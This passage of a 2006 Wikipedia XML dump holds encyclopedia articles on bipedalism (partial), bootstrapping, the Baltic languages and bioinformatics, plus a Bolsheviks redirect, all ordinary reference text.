Bipeds are almost exclusively [[Landform|terrestrial]] animals, perhaps because the advantages of erect motion are offset, for [[aquatic animal]]s, by the greater resistance to motion, in dense and somewhat viscous water in contrast to air, incurred by presenting a large cross-sectional area perpendicular to the direction of motion. Obvious exceptions to this rule include several animals which are partially bipedal, semi-aquatic mammals, including the bonobo and proboscis, and also the [[raccoon]], which does not walk on its hind feet but often stands erect, or squats in water to use its hands to manipulate food and rocks/sticks.

Another bird which exhibits a bipedal posture is the penguin, whose efficiency in water is far greater than that on land; noticeable in the way it walks.

At least two types of octopus are known to walk bipedally.  This form of locomotion appears to allow them to remain somewhat camouflaged while moving quickly.

==Robots==
For nearly the whole of the [[20th century]], bipedal [[robot]]s were very difficult to construct. Robots which could move usually did so using wheels, treads, or multiple legs. Increasingly cheap and compact computing power, however, has made two-legged robots more feasible. In recent years, [[Honda]] and [[Sony]] have developed these machines.

==External links==
* [http://news.nationalgeographic.com/news/2004/09/0902_040902_upright_hominid.html#main Study pushes bipedalism back 2 million years]
* [http://www.world.honda.com/HDTV/ASIMO/200412-run/index.html Video of Honda's humanoid robot Asimo running] (Dec 16 2004) (see also [[Asimo]])

* [http://ist-socrates.berkeley.edu/~chuffard/index_files/Bipedal_octopuses.htm] Information about bipedal octopuses, with link to original paper and videos

* [http://evolution-of-man.info/combined.htm Why australopithecines became bipedal]

[[category:Transportation]]
[[Category:Robots]]

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  </page>
  <page>
    <title>Bootstrapping</title>
    <id>4211</id>
    <revision>
      <id>41959032</id>
      <timestamp>2006-03-02T22:03:44Z</timestamp>
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        <ip>151.203.241.221</ip>
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      <comment>/* Electronics */</comment>
      <text xml:space="preserve">'''Bootstrapping''' alludes to a [[Germany|German]] legend about [[Baron Munchhausen|Baron Münchhausen]], who was able to lift himself out of a swamp by pulling himself up by his own hair. In later versions he was using his own boot straps to pull himself out of the sea which gave rise to the term [[wiktionary:bootstrap|bootstrapping]].

In computers, this term refers to any process where a simple system activates a more complicated system. It is the problem of starting a certain system without the system already functioning. It seems just as impossible as &quot;pulling oneself up by the bootstraps&quot; which Baron Münchhausen, according to stories, could do. However, solutions, accordingly called bootstrapping, exist; they are processes whereby a complex system emerges by starting simply and, bit by bit, developing more complex capabilities on top of the simpler ones. 

''Bootstrapping'' describes different things in several domains.''

==Computing==
The term is believed to have entered computer jargon by way of [[Robert A. Heinlein|Heinlein's]] short story ''[[By His Bootstraps]]''.

Bootstrapping is generally considered a longer term for [[booting]], or the process of starting up any computer. &quot;Bootstrap&quot; most commonly refers to the program that actually begins the initialization of the computer's operating system, like [[GRUB]], [[Linux Loader|LILO]] or [[NTLDR]]. Modern [[personal computer | personal computers]] have the ability of using their [[network interface card]] (NIC) for bootstrapping, on [[IA-32]]([[x86]]) and [[IA-64]]([[Itanium]]) this method is implemented by [[Preboot Execution Environment|PXE]] and [[Etherboot]].

Bootstrapping can also refer to the development of successively more complex programming environments. The simplest environment will be, perhaps, a very basic text editor (e.g. [[ed]]) and an [[assembler]] program. Using these tools, one can write a more complex text editor, and a simple compiler for a higher-level language and so on, until one can have a [[graphical user interface|graphical]] [[integrated development environment|IDE]] and an extremely [[high-level programming language]].

:''For more detail, see [[booting]]''

=== Compilers ===
In [[compiler]] design, a bootstrap or bootstrapping compiler is a compiler that is written in the target language that it compiles. Examples include [[GNU Compiler Collection|gcc]], [[Glasgow_Haskell_Compiler|GHC]], [[OCaml]] and [[PL/I]].

:''For more detail, see [[Bootstrapping (compilers)]]''

==Linguistics==
Syntactic bootstrapping is the idea that children use syntactic knowledge they have developed to help learn what words mean -- semantics builds on top of syntax.

*[[Semantic bootstrapping]]

==Physics==
In [[physics]], the term &quot;bootstrap&quot; is used for the class of theories that assume that very general [[consistency]] criteria are sufficient to determine the whole theory completely. In such theories - typically examples of [[quantum field theory]] - it is impossible to divide the objects and concepts to [[elementary]] and [[composite]] ones.

*[[Bootstrap model]]

==Biology==
The idea of bootstrapping is significant in a number of fields in the [[biology|biological sciences]]. The process by which a fertilised ovum develops into an [[embryo]], particularly the way in which the nuclear [[genome]] is expressed differently in its various cells as these differentiate, is one example of bootstrapping. The evolution of progressively better adapted [[Organ_(anatomy)|organs]] through [[natural selection]] in a lineage of [[organism]]s is another. Some biologists, including [[Graham Cairns-Smith]], believe that the [[origin of life]] itself may have been a bootstrap process as one or more systems of biological information storage formed the foundation for successor systems that ultimately supplanted them culminating in the emergence of our current [[DNA]]-based system. For more details see the articles on [[embryology]], [[ontogeny and phylogeny]] and [[RNA World]].

==Electronics==
The term '''bootstrap''' has a number of meanings in [[electronics]].

In classical [[analog circuit|analog]] designs, a bootstrap circuit is an arrangement of components used to boost the [[input impedance]] of a circuit by using a small amount of positive [[feedback]], usually over two stages. This was often necessary in the early days of [[bipolar junction transistor|bipolar]] [[transistor]]s, which inherently have quite a low input impedance. The need for such arrangements has largely been alleviated by the use of modern [[field effect transistor]] designs, except when ultra-high input impedances are required. Note that because the feedback is positive, such circuits usually suffer from poor stability and noise performance compared to a circuit that doesn't bootstrap.

Another meaning is in connection with the [[booting]] process of a [[computer]] or other complex system, where the underlying electronics must arrange for the orderly startup of the [[Central processing unit|CPU]] and related electronics components. This is done long before the CPU is in a state where it can begin to execute software. Nowadays the bootstrap is coordinated by special [[integrated circuit]]s that monitor the raw [[power supply]] and provide the relevant signals to enable the CPU and other chips accordingly.

In a typical car [[alternator]], a [[direct current|DC]] field current is required before the device can produce any output. Once running, a small portion of the output is fed back to keep the field alive &amp;mdash; this can be seen as a form of bootstrapping. The initial priming current is usually obtained from the vehicle's [[Battery (electricity)|battery]] &amp;mdash; if the battery is totally flat the alternator won't produce any output voltage to spark the plugs or recharge the battery (by push starting for example) since it will be unable to bootstrap itself.  However, in practice, a battery will usually have enough residual charge to avoid this.

In reference to a regional or national [[power grid]], bootstrapping refers to the process of restarting [[power station|generating stations]] and restoring power to the grid after a large-scale [[power outage]] or disaster. This is also referred to as ''cold starting.'' The process is required for reasons not dissimilar to the automobile case above: many power stations have [[electrical generator|AC generators]] which do not contain [[magnet|permanent magnets]], and are incapable of starting to produce electricity unless they are fed some from an outside source to energize the coils and produce a magnetic field. Once running, they use their own output power for this purpose and are self-sustaining. Some power plants are designated within the grid as being capable of a cold start (either because they have main generators which contain magnets, or have smaller auxiliary generators which do and which are capable of bringing the main ones up), and these plants are brought on-line first, and their power output directed across the grid to other plants and used to start them. In this way, generating stations across the network can be progressively brought back up.

==Statistics==
In [[statistics]] bootstrapping is a method for estimating the [[sampling distribution]] of an [[estimator]] by [[resampling (statistics)|resampling]] with replacement from the original sample.  It is distinguished from the [[resampling (statistics)#Jackknife| jackknife]] procedure, used to detect [[outlier]]s, and [[cross-validation]], whose purpose is to make sure that results are repeatable.  There are more complicated bootstraps for sampling without replacement, two-sample problems, regression, time series, hierarchical sampling, and other statistical problems.

For more details see [[resampling (statistics)#Bootstrap|bootstrap resampling]].

==Finance==
In [[finance]], bootstrapping refers to the procedure used to calculate the [[Zero coupon bond | zero coupon]] [[yield curve]], solving for the maturities where no instruments are available. The method uses interpolation to complete the yield curve, using available zero coupon securities with varying maturities.

It may also mean a company acquiring a competitor with a sole reason of temporarily increasing earnings per share.

Bootstrapping also means starting and operating a business with little or no money or assistance from outside investors.

==Venture capital and start-up companies==
As defined by Greg Gianforte, CEO, [[RightNow Technologies]] in an essay at [http://www.bootstrapit.com], &quot;bootstrapping&quot; is the act of starting a business with little or no external funding. &quot;Bootstrappers don’t write lengthy business plans, chase deep-pocketed investors, or indulge in overly academic market research exercises.  Instead, they focus all of their considerable energy, brainpower, determination and skills on creating a business that can actually succeed in the real world.&quot;

Other books by entrepreneurs on Bootstrapping include: &quot;Bootstrap&quot; by Ken Hess. [http://www.klhess.com/bootstrap/index.htm] and &quot;Go it Alone&quot; by Bruce Judson [http://www.brucejudson.com]. Bootstrapping is not well-studied or understood in Academia.  Amar Bhide at Columbia [http://www.bhide.net/] and Darius Mahdjoubi [http://www.ischool.utexas.edu/~darius] are two academics who focus in this area. Examples of Bootstrap Entrepreneurs include [[Bill Gates]], [[Larry Ellison]], [[Anita Roddick]] and [[Richard Branson]] and [[Michael Dell]].

With the decline since 1999 of Venture Capital for early stage companies, bootstrapping is on the rise. It is supported by groups such as the Bootstrap Network[http://www.bootstrapnetwork.com] which maintains a comprehensive resource guide on bootstrapping. [http://www.bootstrapnetwork.com/blog]

== Law ==
The &quot;bootstrapping rule&quot; in the rules of evidence dealt with admissability as non-hearsay of statements of conspiracy.  The rule was that, in a criminal prosecution for conspiracy, the court, in deciding whether to allow the jury to consider a statement of conspiracy, cannot hear the statement itself, and that the allegation should be supported by independent evidence.  If the independent evidence convinced the court that a conspiracy probably existed, only then could such a statement be introduced into trial and heard by the jury.  Allowing such statements of conspiracy to prove the existence of conspiracy was considered similar to bootstrapping.  The bootstrapping rule has been eliminated from the Federal Rules of Evidence, as decided by the Supreme Court in the ''Bourjaily'' case.

== See also ==
* [[Cellular automaton]]: discusses simple step-by-step self-referential rules used to create larger patterns.

[[Category:Language acquisition]]

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    <title>Bolsheviks</title>
    <id>4212</id>
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      <timestamp>2004-04-05T16:54:55Z</timestamp>
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        <username>AndyL</username>
        <id>56563</id>
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      <text xml:space="preserve">#REDIRECT [[Bolshevik]]</text>
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  </page>
  <page>
    <title>Baltic languages</title>
    <id>4213</id>
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      <id>38001302</id>
      <timestamp>2006-02-03T14:34:20Z</timestamp>
      <contributor>
        <ip>159.148.233.2</ip>
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      <comment>+lv</comment>
      <text xml:space="preserve">{{Indo-European}}
The '''Baltic languages''' are a group of related languages belonging to the [[Indo-European languages|Indo-European]] language family and spoken mainly in areas extending east and southeast of the [[Baltic Sea]] in [[Northern Europe]]. The language group is sometimes divided into two sub-groups: '''Western Baltic''', containing only extinct languages, and '''Eastern Baltic''', containing both extinct and the two living languages in the group: [[Lithuanian language|Lithuanian]] and [[Latvian language|Latvian]] (including both literary Latvian and [[Latgalian language|Latgalian]]). While related, the Lithuanian, the Latvian, and particularly the Old Prussian vocabularies differ substantially from each other and are not mutually intelligible. The now extinct Old Prussian language has been considered the most archaic of the Baltic languages.
 
'''Western Baltic languages'''
*[[Galindan language|Galindan]] †
*[[Old Prussian language|Old Prussian]] †
*[[Sudovian language|Sudovian]] ([[Yotvingian]]) †

'''Eastern Baltic languages''''
*[[Curonian language|Curonian]] † — ''sometimes considered Western Baltic.''
*[[Latvian language|Latvian]] (1.5 million speakers)
**[[Latgalian language|Latgalian]] (150 thousand speakers) — ''usually considered a dialect of Latvian''
*[[Lithuanian language|Lithuanian]] (4 million speakers)
**[[Samogitian language|Samogitian]] — ''usually considered a dialect of Lithuanian''
*[[Selonian (language)|Selonian]] †
*[[Semigallian language|Semigallian]] †
''(''†''—Extinct language)''

== Geographic distribution ==
Speakers of modern Baltic languages {{ref|Esto}} are generally concentrated within the borders of [[Lithuania]] and [[Latvia]], and in emigrant communities in the [[United States]], [[Canada]], [[Australia]] and former [[Soviet]] states. Historically the languages were spoken over a larger area:  West to the mouth of the [[Vistula]] river in present-day [[Poland]], at least as far East as the [[Dniepr]] river in present-day [[Belarus]], perhaps even to [[Moscow]], perhaps as far South as [[Kiev]].  Key evidence of Baltic language presence in these regions is found in hydronyms (names of bodies of water) in the regions that are characteristically Baltic.  Use of hydronyms is generally accepted to determine the extent of these cultures' influence, but ''not'' the date of such influence.  Historical expansion of the usage of [[Slavic languages]] in the South and East, and [[Germanic languages]] in the West reduced the geographic distribution of Baltic languages to a fraction of the area which they had formerly covered.

== History ==
According to one theory, the Indo-European tribes speaking the dialects that would become the Baltic languages probably settled in the area South of the Baltic coast in about the 13th Century B.C.E.  and later migrated towards the coast where they met an indigenous population of subsistence fishermen and farmers speaking a proto-[[Finnic]] language.  This indigenous population is believed to have assimilated to varying degrees with the [[Baltic peoples]].  Divergence of the dialects into distinct languages probably occurred in the 1st millennium C.E.  

Although the various Baltic tribes were mentioned by ancient historians as early as 98 B.C.E, The first attestation of a Baltic language was in about 1350, with the creation of the ''Elbing Prussian Vocabulary'', a German to Prussian translation dictionary.  Lithuanian was first attested in a hymnal translation in [[1545]]; the first printed book in Lithuanian, a [[Catechism]] by [[Martynas Mažvydas]] was published in [[1547]].  Latvian appeared in a hymnal in [[1530]] and in a printed Catechism in [[1585]].  One reason for the late attestation is that the Baltic peoples resisted [[Christianization]] longer than any other Europeans, which delayed the introduction of writing and isolated their languages from outside influence.  

With the establishment of a [[Germany|German]] state in Prussia, and the relocation of much of the Baltic Prussian population in the 13th century, Prussians began to be assimilated, and by the end of the 17th century, the Prussian language had become extinct.

During the years of the [[Polish-Lithuanian Commonwealth]] ([[1569]]-[[1795]]), official documents were written in [[Polish language|Polish]], [[Old Ruthenian language|Ruthenian]] and [[Latin]], with Lithuanian being mostly an oral language of commoners.

After the [[Partitions of Poland]], much of the Baltic lands were under the rule of the [[Russian Empire]], where the native languages were sometimes prohibited from being written down, or used publicly.

== Relationship with other Indo-European languages ==
The Baltic languages are of particular interest to linguists because they retain many archaic features, which are believed to have been present in the early stages of the [[Proto-Indo-European language]].

Linguists disagree regarding the relationship of the Baltic languages to other languages in the Indo-European family.  Such relationships are discerned primarily by the [[Comparative method]], which seeks to reconstruct the [[chronology]] of the languages' divergence from each other in [[phonology]] and [[lexicon]].  Language kinship is generally determined by the identification of linguistic innovations that are held in common by two languages or groups.

Several of the extinct Baltic languages have a limited or nonexistent written record, their existence being known only from the records of ancient historians and personal or place names; all of the languages in the Baltic group (including the living ones) were first written down relatively late in their probable existence as distinct languages.  These two factors combined with others have obscured the history of the Baltic languages, leading to a number of theories regarding their position in the Indo-European family.

Most linguists believe that the Baltic languages diverged from Proto-Indo-European separately from other language groups.

Close relationships have also been posited between the Baltic languages and geographically-distant Indo-European languages and groups such as [[Albanian language|Albanian]], [[Dacian language|Dacian]], and [[Thracian language|Thracian]].

More recently, it has been suggested that the Baltic language group is itself an inappropriate grouping and that the West Baltic and East Baltic groups have differing lineages that converged later in their existences.

==See also==
* [[Historical linguistics]]
* [[Language families and languages]]
* [[Baltic peoples]]
* [[Balto-Slavic languages]]

==External links==
*[http://www.ethnologue.com/show_family.asp?subid=90207 Ethnologue Report on Baltic languages]

==Note==
#{{note|Esto}} Though included among the [[Baltic states]], the language of [[Estonia]] (the [[Estonian language]]) is a [[Finno-Ugric language]], and not a [[Baltic language]] in the linguistic sense nor is it genetically related to the Baltic languages.

==References==
* Joseph Pashka, [http://www.geocities.com/Athens/Ithaca/6623/proto.htm Proto Baltic and Baltic languages] (1994)
* [http://www.lituanus.org/IndexLanguage.htm Lituanus Linguistics Index] (1955-2004) provides a number of articles on modern and archaic Baltic languages.
* Mallory, J.P. (1991). ''In Search of the Indo-Europeans: Language, Archaeology and Myth.'' New York: Thames and Hudson Ltd. ISBN 0-500-27616-1

[[Category:Baltic languages|*]]
[[Category:History of Latvia]]
[[Category:History of Lithuania]]
[[Category:History of Prussia]]

[[af:Balties]]
[[az:Baltik qrupu]]
[[ca:Llengües bàltiques]]
[[cs:Baltské jazyky]]
[[de:Baltische Sprachen]]
[[et:Balti keeled]]
[[es:Lenguas bálticas]]
[[eo:Balta lingvaro]]
[[fr:Langues baltes]]
[[id:Bahasa Baltik]]
[[he:שפות בלטיות]]
[[lt:Baltų kalbos]]
[[lv:Baltu valodas]]
[[nl:Baltische talen]]
[[ja:バルト語派]]
[[no:Baltiske språk]]
[[nn:Baltiske språk]]
[[pl:Języki bałtyckie]]
[[pt:Línguas bálticas]]
[[ro:Limbile baltice]]
[[ru:Балтийские языки]]
[[se:Baltijalaš gielat]]
[[fi:Balttilaiset kielet]]
[[sv:Baltiska språk]]
[[vi:Nhóm ngôn ngữ gốc Balt]]
[[uk:Балтійські мови]]
[[zh:波罗的语族]]</text>
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  <page>
    <title>Bioinformatics</title>
    <id>4214</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42131363</id>
      <timestamp>2006-03-04T00:53:25Z</timestamp>
      <contributor>
        <username>Bioinformin</username>
        <id>1025935</id>
      </contributor>
      <comment>/* RNA Bioinformatics */</comment>
      <text xml:space="preserve">'''Bioinformatics''' or '''computational biology''' is the use of techniques from [[applied mathematics]], [[informatics]], [[statistics]], and [[computer science]] to solve [[biology|biological]] problems. Research in computational biology often overlaps with [[systems biology]]. Major research efforts in the field include [[sequence alignment]], [[Gene_finding|gene finding]], genome assembly, [[ protein structural alignment | protein structure alignment]], [[protein structure prediction]], prediction of [[gene expression]] and [[protein-protein interactions]], and the modeling of [[evolution]].

The terms ''bioinformatics'' and ''computational biology'' are often used interchangeably, although the latter typically focuses on algorithm development and specific computational methods. (In the biology-mathematics-computer science triad, bioinformatics will intimately involve all three components while computational biology will focus on biology and mathematics.) Due to interest from computer scientists and mathematicians and the popularity of computational techniques in the field of genomics, it is commonly referred to as ''computational biology''; a more accurate term is computational genomics. There are also lesser known but equally important areas of computational [[biochemistry]] and computational [[biophysics]], that are also a part of computational biology. (For working definitions of Bioinformatics and Computational Biology used by [[NIH|National Institutes of Health]] please see [http://www.bisti.nih.gov/CompuBioDef.pdf this link].) A common thread in projects in bioinformatics and computational genomics is the use of mathematical tools to extract useful information from [[noise|noisy]] data produced by high-throughput biological techniques. (The field of [[data mining]] overlaps with computational biology in this regard.) Representative problems in computational biology include the assembly of high-quality [[DNA]] sequences from fragmentary &quot;shotgun&quot; DNA [[sequencing]], and the prediction of [[gene regulation]] with data from [[Messenger RNA|mRNA]] [[DNA microarray|microarray]]s or [[mass spectrometry]]. 

[[image:dna-split.png|thumbnail|right|150px|Making sense of the huge amounts of DNA data (pictured) produced by gene sequencing projects is just one of the tasks faced by bioinformatics.]]

==Major Research Areas==

===Sequence analysis===
''Main articles:'' [[Sequence alignment]], [[Sequence database]]

Since the [[Phi-X174 phage|Phage &amp;Phi;-X174]] was [[sequencing|sequenced]] in 1977, the [[DNA sequence]]s of more and more organisms have been decoded and stored in electronic databases. This data is analyzed to determine genes that code for [[protein]]s, as well as regulatory sequences. A comparison of genes within a [[species]] or between different species can show similarities between protein functions, or relations between species (the use of [[molecular systematics]] to construct [[phylogenetic tree]]s). With the growing amount of data, it long ago became impractical to analyze DNA sequences manually. Today, [[computer program]]s are used to search the [[genome]] of thousands of organisms, containing billions of [[nucleotide]]s.  These programs can compensate for mutations (exchanged, deleted or inserted bases) in the DNA sequence, in order to identify sequences that are related, but not identical. A variant of this [[sequence alignment]] is used in the sequencing process itself. The so-called [[shotgun sequencing]] technique (which was used, for example, by [[The Institute for Genomic Research]] to sequence the first bacterial genome, ''Haemophilus influenza'') does not give a sequential list of nucleotides, but instead the sequences of thousands of small DNA fragments (each about 600-800 nucleotides long). The ends of these fragments overlap and, when aligned in the right way, make up the complete genome. Shotgun sequencing yields sequence data quickly, but the task of assembling the fragments can be quite complicated for larger genomes. In the case of the [[Human Genome Project]], it took several months of CPU time (on a circa-2000 vintage DEC Alpha computer) to assemble the fragments.  Shotgun sequencing is the method of choice for virtually all genomes sequenced today, and [[genome assembly]] algorithms are a critical area of bioinformatics research.

Another aspect of bioinformatics in sequence analysis is the automatic [[gene finding|search for genes]] and regulatory sequences within a genome.  Not all of the nucleotides within a genome are genes. Within the genome of higher organisms, large parts of the DNA do not serve any obvious purpose.  This so-called [[junk DNA]] may, however, contain unrecognized functional elements. Bioinformatics helps to bridge the gap between genome and [[proteome]] projects, for example in the use of DNA sequence for protein identification.

''See also:'' [[sequence analysis]], [[sequence profiling tool]], [[sequence motif]].

====Genome annotation====
''Main articles:'' [[Gene finding]]

In the context of genomics, '''annotation''' is the process of marking the genes and other biological features in a DNA sequence.  The first genome annotation software system was designed in 1995 by Owen White, who was part of the team that sequenced and analyzed the first genome of a free-living organism to be decoded, the bacterium [[Haemophilus influenzae]].  Dr. White built a software system to find the genes (places in the DNA sequence that encode a protein), the transfer RNA, and other features, and to make initial assignments of function to those genes.  Most current genome annotation systems work similarly, but the programs available for analysis of genomic DNA are constantly changing and improving.


===RNA Bioinformatics===
The regulation of alternative splicing, translation, and the function of RNA inhibitory factors all depend on RNA bioinformatics. [[RNA folding prediction]] can determine possible secondary structure folding patterns in RNA.  Folding of RNA is important for the function of many RNA factors such as ribosomal proteins involved in translation, splicing factors, and the [[untranslated region]]s (5' and 3' [[UTR]]s) of mRNA which are also involved in regulating translation of mRNA. [[RNAi]] and [[siRNA]] knock-down is also becoming a common tool in the molecular biology lab arsenal. [[RNAi]] prediction programs can predict interfering RNAs which can inhibit mRNA levels.

===Computational evolutionary biology===
[[Evolutionary biology]] is the study of the origin and descent of [[species]], as well as their change over time. Informatics has assisted evolutionary biologists in several key ways; it has enabled researchers to:
*trace the evolution of a large number of organisms by measuring changes in their [[DNA]], rather than through [[physical taxonomy]] or physiological observations alone,
*more recently, compare entire [[genomes]], which permits the study of more complex evolutionary events, such as [[gene duplication]], [[lateral gene transfer]], and the prediction of bacterial [[speciation factors]],
*build complex computational models of populations to predict the outcome of the system over time
*track and share information on an increasingly large number of species and organisms
Future work endeavours to reconstruct the now more complex [[Evolutionary_tree|tree of life]].

The area of research within [[computer science]] that uses [[genetic algorithm|genetic algorithms]] is sometimes confused with [[computational evolutionary biology]].  Work in this area involves using specialized [[computer software]] to improve equations, algorithms, or [[integrated circuit]] designs.  It is inspired by [[evolutionary principles]] such as [[replication]], [[diversification]] through [[recombination]] or [[mutation]], [[fitness]], survival through [[selection]] or [[culling]], and [[iteration]], collectively called a [[Darwinian machine]] or [[Darwinian ratchet]].

===Measuring biodiversity===
[[Biodiversity]] of an ecosystem might be defined as the total genomic complement of a particular environment, from all of the species present, whether it is a biofilm in an abandoned mine, a drop of sea water, a scoop of soil, or the entire [[biosphere]] of the planet [[Earth]].  Databases are used to collect the [[species]] names, descriptions, distributions, genetic information, status and size of [[population]]s, [[Habitat (ecology)|habitat]] needs, and how each organism interacts with other species.  Specialized [[computer software|software]] programs are used to find, visualize, and analyze the information, and most importantly, communicate it to other people.  Computer simulations model such things as population dynamics, or calculate the cumulative genetic health of a breeding pool (in [[agriculture]]) or endangered population (in [[conservation ecology|conservation]]).  One very exciting potential of this field is that entire [[DNA]] sequences, or [[genome]]s of [[endangered species]] can be preserved, allowing the results of Nature's genetic experiment to be remembered ''[[in silico]]'', and possibly reused in the future, even if that species is eventually lost.

''Important Projects:'' [http://www.sp2000.org/ Species 2000 project].

===Gene expression analysis===

The [[expression]] of many genes can be determined by measuring [[mRNA]] levels with multiple techniques including [[DNA_microarray|microarrays]],  [[expressed sequence tag|expressed cDNA sequence tag]] (EST) sequencing, [[Serial Analysis of Gene Expression|serial analysis of gene expression]] (SAGE) tag sequencing, [[massively parallel signature sequencing]] (MPSS), or various applications of multiplexed in-situ hybridization.  All of these techniques are extremely noise-prone and/or subject to bias in the biological measurement, and a major research area in computational biology involves developing statistical tools to separate [[signal (information theory)|signal]] from [[noise]] in high-throughput gene expression (HT) studies. HT studies are often used to determine the genes implicated in a disorder: one might compare microarray data from cancerous epithelial cells to data from non-cancerous cells to determine the proteins that are up-regulated and down-regulated in cancer cells.

===Regulation analysis===
Regulation is the complex orchestra of events starting with an [[extra-cellular signal]] and ultimately leading to the increase or decrease in the [[protein activity|activity]] of one or more protein molecules.  Bioinformatics techniques have been applied to explore various steps in this process.  For example, [[promoter analysis]] involves the elucidation and study of [[sequence motif]]s in the genomic region surround the coding region of a gene. These motifs influence the extent to which that region is transcribed into mRNA.  Expression data can be used to infer gene regulation: one might compare [[microarray]] data from a wide variety of states of an organism to form hypotheses about the genes involved in each state. In a single-cell organism, one might compare stages of the [[cell cycle]], along with various stress conditions (heat shock, starvation, etc.). One can then apply [[cluster analysis|clustering algorithms]] to that expression data to determine which genes are co-expressed. Further analysis could take a variety of directions: one 2004 study analyzed the [[promoter]] sequences of co-expressed (clustered together) genes to find common [[regulatory elements]] and used [[machine learning]] techniques to identify the promoter elements involved in regulating each cluster{{ref|Beer_2004}}.

===Protein expression analysis===
Protein [[microarray]]s and high throughput (HT) [[mass spectrometry]] (MS) can provide a snapshot of the proteins present in a biological sample. Bioinformatics is very much involved in making sense of protein microarray and HT MS data; the former involves a number of the same problems involve in examining microarrays targeted at mRNA, the latter involves the problem of matching large amounts of mass data against predicted masses from protein sequence databases, and the complicated statistical analysis of samples where multiple, but incomplete, peptides from each protein are detected.

===Analysis of mutations in cancer===
Massive sequencing efforts are currently underway to identify [[point mutation]]s in a variety of [[gene]]s in [[cancer]]. The sheer volume of data produced requires automated systems to read sequence data, and to compare the sequencing results to the known sequence of the [[human genome]], including known [[germline]] polymorphisms.

[[Oligonucleotide]] microarrays, including [[comparative genomic hybridization]] and [[single nucleotide polymorphism]] arrays, able to probe simultaneously up to several hundred thousand sites throughout the genome are being used to identify chromosomal gains and losses in cancer. [[Hidden Markov model]] and [[change-point analysis]] methods are being developed to infer real copy number changes from often noisy data. Further informatics approaches are being developed to understand the implications of lesions found to be recurrent across many tumors.

Some modern tools (e.g. [http://www.q-pharm.com/home/contents/drug_d/soft Quantum 3.1] ) provide tool for changing the protein sequence at specific sites through alterations to its amino acids and predict changes in the bioactivity after mutations.

===Structure prediction===

''Main article:'' [[Protein structure prediction]]

Protein structure prediction is another important application of bioinformatics. The [[amino acid]] sequence of a protein, the so-called ''primary structure'', can be easily determined from the sequence on the gene that codes for it. In the vast majority of cases, this primary structure uniquely determine a structure in its native environment. (Of course, there are exceptions, such as the [[bovine spongiform encephalopathy]] - aka [[Mad Cow Disease]] - [[prion]].)  Knowledge of this structure is vital in understanding the function of the protein. For lack of better terms, structural information are usually classified as one of ''[[secondary structure|secondary]]'', ''[[tertiary structure|tertiary]]'' and ''[[quaternary structure|quaternary]]'' structures. A viable general solution to such predictions remains an open problem. As of now, most efforts have been directed towards heuristics that work most of the time.

One of the key ideas in bioinformatics research is the notion of [[homology (biology)|homology]]. In the genomic branch of bioinformatics, homology is used to predict the function of a gene: if the sequence of gene ''A'', whose function is known, is homologous to the sequence of gene ''B,'' whose function is unknown, one could infer that B may share A's function. In the structural branch of bioinformatics homology is used to determine which parts of the protein are important in structure formation and interaction with other proteins. In a technique called homology modelling, this information is used to predict the structure of a protein once the structure of a homologous protein is known. This currently remains the only way to predict protein structures reliably.

One example of this is the similar protein homology between hemoglobin in humans and the hemoglobin in legumes ([[leghemoglobin]]). Both serve the same purpose of transporting oxygen in both organisms. Though both of these proteins have completely different amino acid sequences, their protein structures are virtually identical, which reflects their near identical purposes.

Other techniques for predicting protein structure include protein threading and ''de novo'' (from scratch) physics-based modeling.

See also [[structural motif]] and [[structural domain]].

=== Comparative genomics ===

The core of comparative genome analysis is the establishment of the correspondence between [[genes]] (orthology analysis) or other genomic features in different organisms. It is these intergenomic maps that make it possible to trace the evolutionary processes responsible for the divergence of two genomes. A multitude of evolutionary events acting at various organizational levels shape genome evolution. At the lowest level, point mutations affect individual nucleotides. At a higher level, large chromosomal segments undergo duplication, lateral transfer, inversion, transposition, deletion and insertion. Ultimately, whole genomes are involved in processes of hybridization, polyploidization and [[endosymbiosis]], often leading to rapid speciation. The complexity of genome evolution poses many exciting challenges to developers of mathematical models and algorithms, who have recourse to a spectra of algorithmic, statistical and mathematical techniques, ranging from exact, [[heuristics]], fixed parameter and [[approximation algorithms]] for problems based on parsimony models to [[Markov Chain Monte Carlo]] algorithms for [[Bayesian analysis]] of problems based on probabilistic models. 

Many of these studies are based on the [[homology]] detection and protein families computation.  

See also [[comparative genomics]], [[bayesian network]] and [[protein family]].

===Modeling biological systems===
''Main article:'' [[Systems biology]]

Systems biology involves the use of [[computer simulation]]s of [[cell (biology)|cellular]] subsystems (such as the [[metabolic network|networks of metabolites]] and [[enzyme]]s which comprise [[metabolism]], [[signal transduction]] pathways and [[gene regulatory network]]s) to both analyze and visualize the complex connections of these cellular processes.  [[Artificial life]] or virtual evolution attempts to understand evolutionary processes via the computer simulation of simple (artificial) life forms.

===High-throughput image analysis===
Computational technologies are also used to accelerate or fully automate the processing, quantification and analysis of large amounts of high-information-content [[Biomedical imagery]]. Modern image analysis systems augment the observers ability to make measurements from a large or complex set of images, by improving [[accuracy]], [[objectivity]], or speed.  A fully developed analysis system may completely replace the observer.  While these systems are not unique to biology related imagery, their application to biologic problems continue to provide unique challenges and solutions, placing several imagery application under the umbrella of Bioinformatics. These systems are in the process of becoming more important for both [[diagnostics]] and research.  Some examples: 
* high-throughput and high-fidelity quantification and sub-cellular localization ([[high-content screening]], [[cytohistopathology]])
* [[morphometrics]] are used to analyze pictures of [[embryo]]s to track and to predict the fate of cell clusters during [[morphogenesis]]
* clinical image analysis and visualization
* determine the real-time air-flow patterns in breathing lungs of living individuals before and during challenge
* quantify occlusion size in real-time imagery from the development of and recovery during arterial injury
* making behavioural observations from extended video recordings of laboratory animals
* infrared measurements for metabolic activity determination

==Software tools==

The computational biology tool best-known among biologists is probably [[BLAST]], an algorithm for searching large sequence (protein, DNA) databases. [[NCBI]] provides a popular implementation that searches their massive sequence databases.
Bioinformatic meta search engines ([[Entrez]], [[Bioinformatic Harvester]]) help finding relevant information from several databases.  There are also free Web-based software designed for [[structural bioinformatics]] such as [http://www.cbi.cnptia.embrapa.br/SMS/] [[STING]].

Computer scripting languages such as [[Perl]] and [[Python programming language|Python]] are often used to interface with [[biological databases]] and [[parse]] output from bioinformatics programs. 
Communities of bioinformatics programmers have set up [[open source|free/open source]] projects such as [[EMBOSS]], [[Bioconductor]], [[BioPerl]], [[BioLinux]], [[BioPython]], [[BioRuby]], and [[BioJava]] which develop and distribute shared programming tools and objects (as program modules) that make bioinformatics easier.

An integrated software workbench consisting of many [[open source|free/open source]] tools described above and many others is known as [http://www.vigyaancd.org/ VigyaanCD].
